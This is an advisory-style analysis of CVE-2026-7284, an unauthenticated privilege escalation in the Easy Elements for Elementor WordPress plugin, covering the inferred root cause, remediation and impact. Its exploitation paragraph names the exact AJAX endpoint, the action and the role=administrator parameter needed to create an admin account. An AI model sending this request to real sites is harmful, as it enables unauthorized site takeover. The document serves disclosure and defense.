Atomic Edge analysis of CVE-2026-7284 (metadata-based):
This vulnerability affects the Easy Elements for Elementor plugin up to version 1.4.4. It allows unauthenticated privilege escalation via user registration. An attacker can register as an administrator by manipulating the role parameter in the registration request. The CVSS score is 9.8 (Critical).
Root Cause: The CWE classification (269 Improper Privilege Management) and the description confirm that the ‘easyel_handle_register’ function lacks role validation. Atomic Edge analysis infers that this function, likely exposed via an AJAX action or WordPress hook, accepts a user role parameter from the registration form without checking or restricting it to allowed roles. The function probably calls wp_insert_user or wp_create_user with the attacker-supplied role, bypassing the default WordPress registration restrictions that only allow the ‘subscriber’ role. This is an inferred conclusion as no source code is available for review.
Exploitation: An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with action=easyel_handle_register and parameters including username, email, password, and role=administrator. The plugin registers a new user with administrator privileges. The attacker then logs in with the created credentials and gains full site control. Atomic Edge research confirms the attack vector from the description: the ‘easyel_handle_register’ function name and the role parameter.
Remediation: The patch (version 1.4.5) likely adds a role whitelist or capability check inside the ‘easyel_handle_register’ function. The fix should ensure the registration endpoint only allows a predefined set of low-privilege roles (e.g., ‘subscriber’) or checks current_user_can(‘create_users’) for role assignment. Developers should also validate that the requested role is one of the allowed options before calling wp_insert_user.
Impact: Successful exploitation grants complete administrative access to the WordPress site. An attacker can install malicious plugins, modify content, extract sensitive data, or use the compromised site for further attacks. This leads to full site compromise and potential lateral movement within the hosting environment.
